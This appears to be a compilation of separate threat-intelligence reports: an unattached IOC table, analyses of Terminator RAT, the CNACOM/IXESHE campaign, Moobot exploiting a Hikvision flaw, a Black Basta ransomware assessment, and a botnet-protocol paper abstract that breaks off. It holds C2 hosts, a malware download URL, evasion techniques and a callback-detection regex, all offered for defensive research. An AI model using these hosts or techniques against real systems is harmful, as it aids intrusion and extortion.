| sha256 | ed25e3d5c13f409242ded579c45f9c4bb4416c204e1ee16cf63f744cf2ccd62c |
| sha256 | a34f37c19785b029bf690d53b89f910586660fb94abd8587bfe110c3db6856bc |
| sha256 | 20299a5fc850ec4cd1aceb7cf1987609c05fa08d59dd5ae79e15bc048c46685e |
| Domain | Value |
|------------|-------|
| meitanjiaoyiwang[.]com | |
| yourbroiler[.]com | |
| IP | 98.126.67.114 |
| IP | 68.68.105.174 |
| IP | 98.126.121.202 |
| IP | 173.254.223.24 |
| Mutex | Global\\dafewewrw |
| Filename | Piano.dll |
| Filename | Beautiful Girls.exe |
| Filename | Pleasantly surprised.exe |
| Filename | amazon gift card.pdf.exe |
| Filename | Sexy Girls.exe |
| Filename | vv.js |
| Filename | vvv.bat |
| Email | [email protected] | |
# Evasive Tactics: Terminator RAT
FireEye Labs has been tracking a variety of advanced persistent threat (APT) actors that have been slightly changing their tools, techniques, and procedures (TTPs) in order to evade network defenses. Earlier, we documented changes to Aumlib, the malware used in the attack against the New York Times, and Taidoor, a malware family that is being used in ongoing cyber-espionage campaigns particularly against entities in Taiwan. In this post, we will explore changes made to Terminator RAT (Remote Access Tool) by examining a recent attack against entities in Taiwan.
We recently analyzed a sample that we suspect was sent via spear-phishing emails to targets in Taiwan. The adversary sends a malicious Word document, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7), that exploits CVE-2012-0158, which subsequently drops a malware installer named “DW20.exe”. This particular malware is interesting because of the following:
- It evades sandbox by terminating and removing itself (DW20.exe) after installing. Malicious behavior will only appear after reboot.
- It deters single-object based sandbox by segregation of roles between collaborating malwares.
- The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server.
- It deters forensics investigation by changing the startup location.
- It deters file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.
The ultimate payload of the attack is Terminator RAT, which is also known as FakeM RAT. This RAT does not appear to be exclusively used by a single APT actor but is most likely being used in a variety of possibly otherwise unrelated campaigns. In the past, this RAT has been used against Tibetan and Uyghur activists, and we are seeing an increasing number of attacks targeting Taiwan as well.
However, these attacks use some evasive tactics that demonstrate the evolution of Terminator RAT. First, the attackers have included a component that relays traffic between the malware and a proxy server. Second, they have modified the 32-byte magic header that in previous versions attempted to disguise itself to look like either MSN Messenger, Yahoo! Messenger, or HTML code.
These modifications appear to be an attempt to evade network defenses, perhaps in response to defenders’ increasing knowledge of the indicators of compromise associated with this malware. We will discuss the individual components of this attack in more detail.
## 1. DW20.exe (MD5: 7B18E1F0CE0CB7EEA990859EF6DB810C)
DW20.exe was found to be the installation executable file. It will first create its working folders located at “%UserProfile%\Microsoft” and “%AppData%\2019”. The former is used to store the configurations and executable files (svchost_.exe and sss.exe) and the latter is used to store the shortcut link files. This folder “2019” was then configured to be the new startup folder location by changing the registry:
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
```
The executable file “sss.exe” was found to be the decrypted form of the resource named 140 with type “ACCELORATOR” (likely misspelling of Accelerator). This resource was decrypted using a customized XTEA algorithm and appended with an encrypted configuration for the domains and ports.
After installation, DW20.exe deletes and terminates itself. The malwares will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.
## 2. sss.exe (MD5: 93F51B957DA86BDE1B82934E73B10D9D)
sss.exe is an interesting malware component. As a researcher would analyze it independently, it is not considered a malicious program. This component plays the role of a network relay between the malware and the proxy server, by listening over port 8000. To achieve this, it first tries to identify the list of proxy servers that are used within the system using “WinHttpGetIEProxyConfigForCurrentUser”, and the discovered proxy servers and related ports are stored in the same directory in a file named “PROXY”.
When there is a new incoming TCP connection over port 8000, it will attempt to create a local to proxy socket connection. With that, it will check connectivity with the CnC server. If the response is 200, it will then start to create a “relay link” between the malware and the CnC server. The “relay link” was created using two threads, where one thread will transfer data from socket 1 to socket 2 and the other will do vice versa.
As depicted, the user agent is hard coded. It is a possible means to identify potentially malicious traffic, as Internet Explorer 6 is significantly outdated and “MSIE 6.0.1.3” is not a valid version token.
The configurations for the malicious domains and ports to use are located at the last 188 bytes of the executable file. The first 16 bytes is the key to decrypt the remaining content using a modified XTEA algorithm. The two malicious domains found were “liumingzhen.zapto.org” and “liumingzhen.myftp.org”.
## 3. Network Traffic
The Terminator sample we analyzed, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7) was not configured with fake HTML, Yahoo Messenger, or Windows Messenger traffic header as it had in past variants. However, the content is encrypted in exactly the same way as previous versions of Terminator RAT.
The decrypted content reveals that the malware is sending back the user name, the computer name, and a campaign mark of “zjz1020”. This particular sample is configured to one of two command and control servers:
- liumingzhen.zapto.org / 123.51.208.69
- liumingzhen.myftp.org / 123.51.208.69
We have located another malicious document that has a Taiwan-related decoy document that drops this same version of Terminator RAT.
The sample we analyzed (md5: 50d5e73ff8a0693ed2ee2d320af3b304) exploits CVE-2012-0158 and has the following command and control server:
- catlovers.25u.com / 123.51.208.142
The command and control servers for both samples resolved to IP addresses in the same class C network.
## 4. Campaign Connections
In June 2013, we investigated an attack against entities in Taiwan that used spear-phishing emails to deliver a malicious attachment. The malicious attachment “ඪҊࢿྉ.doc” (md5: bfc96694731f3cf39bcad6e0716c5746) exploited a vulnerability in Microsoft Office (CVE-2012-0158), however, the payload in this case was a different malware family known as WinData. The malware connected to the same command and control server, liumingzhen.zapto.org, but the callback is quite different:
```
XYZ /WinData.DLL?HELO-STX-1*1[IP Address]*[Computer Name]*0605[MAC:[Mac Address]]$
```
In a separate case where liumingzhen.zapto.org has been used as the command and control server, the payload was neither WinData nor Terminator RAT, but another type of malware known as Protux. The sample we analyzed in August 2012 for this case was “װ !.doc” (md5: 01da7213940a74c292d09ebe17f1bd01).
This particular threat actor has access to a variety of malware families and has been using them to target entities in Taiwan for more than a year.
## Conclusion
Terminator RAT is an example of how malware is increasingly becoming more sophisticated and harder to detect. There is a need for continual research to understand various techniques, tactics, and procedures used by the adversaries. Detection of exploitation and identification of anomalous callbacks are becoming extremely critical in preventing the malware from installing into the system or phoning back to the command control servers. |
# CNACOM - Open Source Exploitation via Strategic Web Compromise
## Introduction
Since a full proof of concept for CVE-2016-0189 vulnerability was published on GitHub, Zscaler ThreatLabZ has been closely tracking its proliferation. The first copying of the exploit code we spotted was from the Sundown exploit kit (EK), followed closely by Magnitude and a resurgent KaiXin EK. In addition to the commoditized EKs, this exploit code has been leveraged in numerous one-shot and gated web-exploitation campaigns, delivered through a mix of the usual malvertising networks and compromised websites. This blog details CNACOM, a web-based campaign that appears to be related to a well-known nation-state actor more commonly associated with spear-phishing attacks.
## Infection Cycle
On November 7, we spotted a malicious injection on the registration page of a major Taiwanese public service website. An iframe was injected into the footer of the page, which then loaded a unique landing page containing the CVE-2016-0189 exploit code.
The landing page, hosted on an RHCloud virtual private server (VPS), begins with a nearly identical copy of the GitHub-published code, though the payload invocation appears to use a sandbox escape via CVE-2015-0116.
Following the exploit code, things get a lot more interesting. The user's external IP address is stored as a string and an ipToInt() function is defined, followed by a set of subroutines to collect details from the user machine. The code gathers the OS version, browser name, version, and language setting, Flash and Java versions, installed Office version, and finally the raw User-Agent string from the browser. This is all sent to the RHCloud host via a GET request.
After the fingerprinting code, the user's IP address is checked against Taiwanese government network ranges. If the user is coming from one of the targeted networks and is using a version of Internet Explorer, exploitation will be attempted.
ThreatLabZ was able to follow the infection cycle and download a sample that appears to be a variant of the IXESHE AES malware. IXESHE is a family of backdoor malware known to be utilized by an attack group identified by various names including the IXESHE label, APT12, Numbered Panda, and DynCalc.
Upon execution, the malware gathers the Windows username, hostname, local IP address, and Windows version. The hostname is fed to a PJW hash, or ElfHash function to generate a machine ID used in callbacks. The last step before initiating the C&C check-in is to achieve persistence by installing a run key in HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Messenger.
This sample uses almost similar communication techniques as previous variants, with the addition of SSL. In our observations, we saw the server present a self-signed certificate with short, random-looking strings in the informational fields.
## Callback URLs
- `/CEL%d=%d.cgi?%s` - check-in at startup (and after certain C&C reset/error conditions)
- `/DES%d=%d.cgi?%s` - standard beacon, check for command
- `/RES%d=%d.cgi?%s` - response to rsh command
- `/SDU%d=%d.cgi?%s` - error response
- `/SUS%d=%d.cgi?%s` - check-out after receiving shutdown message
As can be seen above, the callback URLs utilize the same general format: three capital letters denoting the response function or condition, an integer representing the PJW/ElfHash based host ID, an equal sign ("="), a random integer, the string ".cgi?", and a base64 response blob (which in some cases simply encodes another random integer). The following regular expression matches this variant's URL path/query components: `[CDRS][EDU][LSU]\d+=\d+\.cgi\?[a-zA-Z0-9=\+\/]+`.
Unlike many historical IXESHE samples, it appears that this variant doesn't utilize campaign codes embedded in the malware itself. This may be due to a more centralized tracking system that only relies on the malware reporting a machine ID.
## Conclusion
This analysis represents a snapshot of recent activity related to the CNACOM campaign. Additionally, we have identified an exploitation campaign active in August 2015 that appears to have utilized the HackingTeam Flash exploit for CVE-2015-5122, though the landing page at that time targeted a different set of Taiwanese government networks. Whether or not the threat actor behind this campaign is actually the group named APT12, the targeting of Taiwanese government networks and the similarity of this strain to historic IXESHE samples provide strong reasons for suspicion.
Zscaler ThreatLabZ will continue to monitor activity from this group ensuring protection against this threat.
## Indicators of Compromise
- **Filename:** cnacom.exe
- **Source:** cnacom-organied.rhcloud.com/cnacom.exe
- **MD5:** ACFA9C664016BFE5DB92557E923744F0
- **Compile Time:** 11/04/2016 11:56:27
- **Hardcoded User-Agent:** Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
- **C&C:** 74.200.214.226 |
# Mirai-based Botnet - Moobot Targets Hikvision Vulnerability
**Threat Research**
By Cara Lin | December 06, 2021
Last September 18th, a threat researcher released a write-up about a remote code execution vulnerability that affects various products from Hikvision, one of the largest video surveillance brands in the world. Hikvision is a CVE CNA and quickly assigned the CVE number, CVE-2021-36260, and released a patch for the vulnerability on the same day as the threat researcher’s disclosure. Shortly after, FortiGuard Labs developed an IPS signature to address it.
During our analysis, we observed numerous payloads attempting to leverage this vulnerability to probe the status of devices or extract sensitive data from victims. One payload in particular caught our attention. It tries to drop a downloader that exhibits infection behavior and that also executes Moobot, which is a DDoS botnet based on Mirai. In this blog, we explain how an attacker delivers this payload through the Hikvision vulnerability, along with details of the botnet.
**Affected platforms:** Hikvision Product
**Impact parties:** IP Cam/NVR
**Impact:** Attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands in the web server
**Severity:** Critical
## Stage 0 – Exploitation and Propagation
CVE-2021-36260 results from insufficient input validation, allowing unauthenticated users to inject malicious content into a `<language>` tag to trigger a command injection attack on a Hikvision product. Below is an example of a request leveraging this exploit:
We collected a number of payloads leveraging this vulnerability and eventually found a downloader. After tracing the traffic capture, the complete payload is shown in the following figure:
First, because the final Moobot will be saved as “macHelper,” it first tries to remove any file already named “macHelper.” It then echoes code into “downloader,” which is a small ELF 32-bit LSB ARM file. After downloader completes downloading, it executes Moobot with the parameter “hikivision.” Finally, it changes commonly used commands, such as “reboot,” to prevent an administrator from invoking reboot on the affected device.
## Stage 1 - Downloader
The attacker leverages this vulnerability to drop a downloader (SHA256: 1DCE6F3BA4A8D355DF21A17584C514697EE0C37B51AB5657BC5B3A297B65955F). It has only one job: download the main botnet. It downloads the malware with “/arm5” URI from server 199.195.250[.]233:80 and prints “RAY” if the downloading process was successful.
From the IP address, we not only get the Moobot variants for different architectures, we also get the historic malware from directory “/h/.”
## Stage 2 - Moobot
Based on our analysis, the malware (SHA256: 38414BB5850A7076F4B33BF81BAC9DB0376A4DF188355FAC39D80193D7C7F557) downloaded in the previous stage is Moobot, which is Mirai-based. Its most obvious feature is that it contains the data string “w5q6he3dbrsgmclkiu4to18npavj702f,” which is used in the “rand_alphastr” function. It is used to create random alphanumeric strings with different purposes, such as for a setup process name or to generate data for attacking.
It also has some elements from Satori, which is another Mirai variant botnet. It contains a “downloader” that targets a victim’s IoT devices, and it prints a “9xsspnvgc8aj5pi7m28p” string after execution. This variant also forks itself with the process name “/usr/sbin*” to try to look like a normal process while wiping out the original file, “macHelper.”
Since it is based on Mirai, the botnet also contains a data section to store its configuration. The plaintext configuration can be decoded after XOR with 0x22.
After getting the C2 server (life.zerobytes[.]cc) from its configuration, it starts sending heartbeat (\x00\x00) packets and then waits for the next control command from the C2 server. Once the victim system receives the command, it starts a DDoS attack to a specific IP address and port number. One example of the DDoS attack traffic is shown below:
The DDoS attack command is 24 bytes and can be seen in the Data section. This detail is illustrated in the following figure, which includes the flood method and the target IP/Port. Except for SYN flood, the C2 server has other attacking commands, such as 0x06 for UDP flood, 0x04 for ACK flood, and 0x05 for ACK+PUSH flood.
The complete attack scenario from trying to infect Hikvision product to deploying Moobot is shown in the figure.
We also noticed that a DDoS service provider based the packet capture from our machine. We tracked down a telegram channel named “tianrian,” which provides a DDoS service. They use a specific string, “openmeokbye,” in their login interface. This channel was created on June 11, 2021, and started its service in August. From the chatting channel, we can see that the service is still updating. Users should always look out for DDoS attacks and apply patches to vulnerable devices.
## Conclusion
Hikvision is one of the biggest providers of IP cam/NVR products in the global market. CVE-2021-36260 is a critical vulnerability that makes Hikvision products a target for Moobot. In this blog, we showed how an attacker can leverage CVE-2021-36260 and elaborated in detail each stage of the process.
Although a patch has been released to address this vulnerability, this IoT botnet will never stop looking for a vulnerable endpoint. Because of this, users should upgrade affected devices immediately as well as apply FortiGuard protection.
## Fortinet Protections
Fortinet released IPS signature Hikvision.Product.SDK.WebLanguage.Tag.Command.Injection for CVE-2021-36260 to proactively protect our customers. The signature is officially released in IPS definition version 18.192.
The downloader and all related malware from that site are detected and blocked by FortiGuard AntiVirus:
- ELF/Mirai.AE!tr
- ELF/Mirai.BO!tr
- ELF/Mirai.D!tr
- ELF/Mirai.AYU!tr
- ELF/Mirai.WJ!tr
- Linux/Mirai.WJ!tr
Both the downloading URL and C2 server have been rated as "Malicious Websites" by the FortiGuard Web Filtering service.
## IOCs
SHA256:
- 1DCE6F3BA4A8D355DF21A17584C514697EE0C37B51AB5657BC5B3A297B65955F
- 38414BB5850A7076F4B33BF81BAC9DB0376A4DF188355FAC39D80193D7C7F557 |
# Threat Assessment: Black Basta Ransomware
**By Amer Elsad**
**August 25, 2022**
**Category:** Ransomware, Threat Briefs and Assessments, Unit 42
**Tags:** Black Basta ransomware, threat assessment
## Executive Summary
Black Basta is ransomware as a service (RaaS) that first emerged in April 2022. However, evidence suggests that it has been in development since February. The Black Basta operator(s) use the double extortion technique, meaning that in addition to encrypting files on the systems of targeted organizations and demanding ransom to make decryption possible, they also maintain a dark web leak site where they threaten to post sensitive information if an organization chooses not to pay ransom.
Black Basta affiliates have been very active deploying Black Basta and extorting organizations since the ransomware first emerged. Although the Black Basta affiliates have only been active for the past couple of months, based on the information posted on their leak site, they have compromised over 75 organizations at the time of this publication. Unit 42 has also worked on several Black Basta incident response cases.
The ransomware is written in C++ and impacts both Windows and Linux operating systems. It encrypts users’ data using a combination of ChaCha20 and RSA-4096, and to speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions. The faster the ransomware encrypts, the more systems can potentially be compromised before defenses are triggered. It is a key factor affiliates look for when joining a Ransomware-as-a-Service group.
Palo Alto Networks customers receive help with detection and prevention of Black Basta ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).
If you think you may have been impacted by a cyber incident, the Unit 42 Incident Response team is available 24/7/365. You can also take preventative steps by requesting any of our cyber risk management services.
## Black Basta Overview
Black Basta is ransomware as a service (RaaS) that leverages double extortion as part of its attacks. The attackers not only execute ransomware but also exfiltrate sensitive data and threaten to release it publicly if the ransom demands are not met. The threat actors behind the ransomware deploy a name-and-shame approach to their victim, where they use a Tor site, Basta News, to list all of the victims who have not paid the ransom.
Although the Black Basta RaaS has only been active for a couple of months, according to its leak site, it had compromised over 75 organizations at the time of this publication. At least 20 victims were posted to its leak site in the first two weeks of the ransomware’s operation, which indicates the group likely is experienced in the ransomware business and has a steady source of initial access.
It is also possible that this is not a new operation but rather a rebrand of a previous ransomware group that brought along their affiliates. Based on multiple similarities in tactics, techniques and procedures (TTPs) - victim-shaming blogs, recovery portals, negotiation tactics, and how quickly Black Basta amassed its victims - that the Black Basta group could include current or former members of the Conti group.
Unit 42 has observed the Black Basta ransomware group using QBot as an initial point of entry and to move laterally in compromised networks. QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan and evolved into a malware dropper. It has been used by other ransomware groups, including MegaCortex, ProLock, DoppelPaymer and Egregor. While these ransomware groups used QBot for initial access, the Black Basta group was observed using it for both initial access and to spread laterally throughout the network.
## Technical Details
Black Basta is written in C++ and is cross-platform ransomware that impacts both Windows and Linux systems. In June 2022, a VMware ESXi variant of Black Basta was observed targeting virtual machines running on enterprise Linux servers.
The ransomware includes anti-analysis techniques that attempt to detect code emulation or sandboxing to avoid virtual/analysis machine environments. It also supports the command line argument -forcepath that is used to encrypt files in a specified directory. Otherwise, the entire system, except for certain critical directories, is encrypted.
The ransomware spawns a mutex with a string of dsajdhas.0 to ensure a single instance of the malware is running at a time. Then it will iterate through the entire file system, encrypting files with a file extension of .basta.
Black Basta ransomware encrypts users’ data through a combination of ChaCha20 and RSA-4096. To speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions. The ransomware also attempts to delete shadow copies and other backups of files using vssadmin.exe, a command-line tool that manages Volume Shadow Copy Service (VSS), which captures and copies stable images for backups on running systems.
It writes the Random-letters.ico and Random-letters.jpg files to the %TEMP% directory. The .jpg file is leveraged to overwrite the desktop background. It adds a custom icon to the registry, corresponding to the .basta icon.
It will then boot the system in safe mode and proceed to encrypt files. Following successful encryption, the file’s extension is changed to .basta and the ransomware will write numerous instances of readme.txt, which contains the ransom note.
## Tactics, Techniques and Procedures
We have observed Black Basta affiliates leveraging the following TTPs:
| Tactic / Technique | Notes |
|--------------------|-------|
| **TA0001 Initial Access** | |
| T1566.001. Phishing: Spear phishing Attachment | Victims receive spear phishing emails with attached malicious zip files - typically password protected. That contains malicious doc including .doc, .pdf, .xls |
| **TA0002 Execution** | |
| T1569.002. System Services: Service Execution | Black Basta has installed and used PsExec to execute payloads on remote hosts. |
| T1047. Windows Management Instrumentation | Utilizes Invoke-TotalExec to push out the ransomware binary. |
| T1059.001. Command and Scripting Interpreter: PowerShell | Black Basta has encoded PowerShell scripts to download additional scripts. |
| **TA0003 Persistence** | |
| T1136. Create Account | Black Basta threat actors created accounts with names such as temp, r, or admin. |
| T1098. Account Manipulation | Added newly created accounts to the administrators' group to maintain elevated access. |
| T1543.003. Create or Modify System Process: Windows Service | Creates benign-looking services for the ransomware binary. |
| **TA0004 Privilege Escalation** | |
| T1484.001. Domain Policy Modification: Group Policy Modification | Black Basta can modify group policy for privilege escalation and defense evasion. |
| T1574.001. Hijack Execution Flow: DLL Search Order Hijacking | Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. |
| T1543.003. Create or Modify System Process: Windows Service | Creates benign-looking services for the ransomware binary. |
| **TA0005 Defense Evasion** | |
| T1484.001. Domain Policy Modification: Group Policy Modification | Black Basta can modify group policy for privilege escalation and defense evasion. |
| T1218.010. System Binary Proxy Execution: Regsvr32 | Black Basta has used regsvr32.exe to execute a malicious DLL. |
| T1070.004. Indicator Removal on Host: File Deletion | Attempts to delete malicious batch files. |
| T1112. Modify Registry | Black Basta makes modifications to the Registry. |
| T1140. Deobfuscate/Decode Files or Information | Initial malicious .zip file bypasses some antivirus detection due to password protection. |
| T1562.001. Impair Defenses: Disable or Modify Tools | Disables Windows Defender with batch scripts, such as d.bat or defof.bat. |
| T1562.004. Impair Defenses: Disable or Modify System Firewall | Uses batch scripts, such as rdp.bat or SERVI.bat, to modify the firewall to allow remote administration and RDP. |
| T1562.009. Impair Defenses: Safe Boot Mode | Uses bcdedit to boot the device in safe mode. |
| T1574.001. Hijack Execution Flow: DLL Search Order Hijacking | Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. |
| T1622. Debugger Evasion | Uses IsDebuggerPresent to check if processes are being debugged. |
| **TA0006 Credential Access** | |
| T1555. Credentials from Password Stores | Black Basta uses Mimikatz to dump passwords. |
| **TA0007 Discovery** | |
| T1087.002. Account Discovery: Domain Account | Used commands such as net user /domain and net group /domain. |
| T1016. System Network Configuration Discovery | Lists internal IP addresses to target in C:\Windows\pc_list.txt – typically found on the Domain Controller. |
| T1082. System Information Discovery | Uses GetComputerName to query the computer name. |
| T1622. Debugger Evasion | Uses IsDebuggerPresent to check if processes are being debugged. |
| **TA0008 Lateral Movement** | |
| T1021.001. Remote Services: Remote Desktop Protocol | Black Basta has used RDP for lateral movement. |
| **TA0009 Collection** | |
| T1560.001. Archive Collected Data: Archive via Utility | |
| **TA0010 Exfiltration** | |
| T1567. Exfiltration over Web Service | |
| **TA0011 Command and Control** | |
| T1219. Remote Access Software | Black Basta has installed and used legitimate tools such as TeamViewer and AnyConnect on targeted systems. |
| T1573. Encrypted Channel | Uses Qakbot primarily and Cobalt Strike. |
| **TA0040 Impact** | |
| T1486. Data Encrypted for Impact | Black Basta modifies the Desktop background by adding a .jpg in C:\Temp and creating a registry key HKCU\Control Panel\Desktop. Additionally modifies the registry to change the icon of encrypted files. It encrypts files excluding those with a .exe, .cmd, .bat and .com extension. Uses ChaCha20 or RSA-4096 to encrypt victims. |
| T1489. Service Stop | Uses sc stop and taskkill to stop services. |
| T1490. Inhibit System Recovery | Black Basta deletes Volume Shadow Copies using vssadmin. |
## Victimology
The ransomware group and its affiliate program reportedly compromised multiple large organizations, in sectors including consumer and industrial products; energy, resources and agriculture; manufacturing; utilities; transportation; government agencies; professional services and consulting; and real estate.
Black Basta operators also posted on dark web forums expressing interest in attacking organizations based in Australia, Canada, New Zealand, the U.K. and the U.S. Threat actors using the ransomware impacted organizations based in the U.S., Germany, Switzerland, Italy, France and the Netherlands.
The threat actor(s) responsible for Black Basta operate a cybercrime marketplace and victim name-and-shame blog. This site is hosted as a Tor hidden service, where the Black Basta ransomware group lists their victims’ names, descriptions, percentage of stolen data which has been published, number of visits and any data exfiltrated. There were 75 victims listed on the leak site at the time of writing.
## Courses of Action
Several adversarial techniques were observed in activity associated with Black Basta, and the following measures are suggested within Palo Alto Networks products and services to mitigate threats related to Black Basta ransomware, as well as other malware using similar techniques:
### Initial Access
The below courses of action mitigate the following techniques: Spear Phishing Attachment [T1566.001]
- **THREAT PREVENTION**: Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'. Ensure a secure antivirus profile is applied to all relevant security policies.
- **NEXT-GENERATION FIREWALLS**: Set up File Blocking.
- **CORTEX XDR PREVENT**: Configure Malware Security Profile.
- **CORTEX XSOAR**: Deploy XSOAR Playbook – Endpoint Malware Investigation. Deploy XSOAR Playbook – Phishing Investigation – Generic V2.
### Execution
The below courses of action mitigate the following techniques: Service Execution [T1569.002], Windows Management Instrumentation [T1047], PowerShell [T1059.001]
- **NEXT-GENERATION FIREWALLS**: Ensure remote access capabilities for the User-ID service account are forbidden. Ensure that User-ID is only enabled for internal trusted interfaces. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones. Ensure that the User-ID service account does not have interactive logon rights. Ensure 'Include/Exclude Networks' is used if User-ID is enabled. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists. Ensure that the User-ID Agent has minimal permissions if User-ID is enabled. Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone.
- **CORTEX XDR PREVENT**: Configure Restrictions Security Profile.
### Persistence, Privilege Escalation, Defense Evasion
The below courses of action mitigate the following techniques: Create Account [T1136], Account Manipulation [T1098], Regsvr32 [T1218.010], File Deletion [T1070.004], Disable or Modify Tools [T1562.001], Modify Registry [T1112], Deobfuscate/Decode Files or Information [T1140], Disable or Modify System Firewall [T1562.004], Windows Service [T1543.003], DLL Search Order Hijacking [T1574.001], Group Policy Modification [T1484.001]
- **NEXT-GENERATION FIREWALLS**: Ensure that the User-ID Agent has minimal permissions if User-ID is enabled. Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones. Ensure that the User-ID service account does not have interactive logon rights. Ensure that 'Include/Exclude Networks' is used if User-ID is enabled. Ensure remote access capabilities for the User-ID service account are forbidden. Ensure that User-ID is only enabled for internal trusted interfaces.
- **CORTEX XSOAR**: Deploy XSOAR Playbook – Access Investigation Playbook. Deploy XSOAR Playbook – Block Account Generic. Deploy XSOAR Playbook – Impossible Traveler.
- **CORTEX XDR PREVENT**: Configure Host Firewall Profile. Enable Anti-Exploit Protection. Configure Restrictions Security Profile. Configure Behavioral Threat Protection under the Malware Security Profile. Enable Anti-Malware Protection.
### Credential Access
The below courses of action mitigate the following techniques: Credentials from Password Stores [T1555]
- **CORTEX XDR**: Cortex XDR monitors for behavioral events and files associated with credential access and exfiltration.
### Discovery
The below courses of action mitigate the following techniques: System Network Configuration Discovery [T1016], System Information Discovery [T1082], Domain Account [T1087.002]
- **CORTEX XDR**: Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors.
### Lateral Movement
The below courses of action mitigate the following techniques: Remote Desktop Protocol [T1021.001]
- **NEXT-GENERATION FIREWALLS**: Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure remote access capabilities for the User-ID service account are forbidden. Ensure that the User-ID Agent has minimal permissions if User-ID is enabled. Ensure that User-ID is only enabled for internal trusted interfaces. Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure that the User-ID service account does not have interactive logon rights. Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned and set to appropriate actions. Ensure that 'Include/Exclude Networks' is used if User-ID is enabled. Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists.
- **CORTEX XDR PREVENT**: Configure Host Firewall Profile.
- **CORTEX XSOAR**: Deploy XSOAR Playbook – Access Investigation Playbook. Deploy XSOAR Playbook – Block Account Generic.
### Collection
The below courses of action mitigate the following techniques: Archive via Utility [T1560.001]
- **CORTEX XDR**: Monitors for behavioral events via BIOCs including the creation of zip archives.
### Command and Control
The below courses of action mitigate the following techniques: Remote Access Software [T1219], Encrypted Channel [T1573]
- **CORTEX XSOAR**: Deploy XSOAR Playbook – PAN-OS Query Logs for Indicators. Deploy XSOAR Playbook – Block URL. Deploy XSOAR Playbook – Block IP.
- **NEXT-GENERATION FIREWALLS**: Ensure that the Certificate used for Decryption is Trusted. Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists. Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured. Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist.
- **THREAT PREVENTION**: Ensure DNS sinkholing is configured on all anti-spyware profiles in use. Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use. Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet. Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'. Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats. Ensure a secure antivirus profile is applied to all relevant security policies.
### Impact
The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489], Inhibit System Recovery [T1490]
- **CORTEX XSOAR**: Deploy XSOAR Playbook – Ransomware Manual for incident response. Deploy XSOAR Playbook – Palo Alto Networks Endpoint Malware Investigation.
## Conclusion
Black Basta ransomware operators have been active since at least April 2022. Although their RaaS has only been active for the past couple of months, it had compromised at least 75 organizations at the time of this publication. Due to the high-profile nature and steady stream of Black Basta attacks identified globally in 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.
Palo Alto Networks helps detect and prevent Black Basta ransomware in the following ways:
- **WildFire**: All known samples are identified as malware.
- **Cortex XDR**:
- Identifies indicators associated with Black Basta.
- Anti-Ransomware Module blocks Black Basta encryption behaviors on Windows.
- Local Analysis detection for Black Basta binaries on Windows and Linux.
- Behavioral Threat Prevention prevents Black Basta behaviors.
- **Next-Generation Firewalls**: DNS Signatures detect the known C2 domains, which are also categorized as malware in Advanced URL Filtering.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Indicators of compromise and Black Basta-associated TTPs can be found in the Black Basta ATOM. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. |
# Botnet Protocol Inference in the Presence of Encrypted Traffic
## Abstract
Network protocol reverse engineering of botnet command and control (C&C) is a challenging task, which requires various manual steps and a significant amount of domain knowledge. Furthermore, most of today’s C&C protocols are encrypted, which prevents any analysis on the traffic without first discovering the encryption algorithm and key. To address these challenges, we present an end-to-end system for automatically discovering the encryption algorithm and keys, generating a protocol specification for the C&C traffic, and crafting effective network signatures. In order to infer the encryption algorithm and key, we enhance state-of-the-art techniques to extract this information using lightweight binary analysis. We evaluate our approach on three prominent malware families: Sality, ZeroAccess, and Ramnit. Our results are encouraging: the approach decrypts all three protocols, detects 97% of fields whose semantics are supported, and infers specifications that correctly align with real protocol specifications.
## I. Introduction
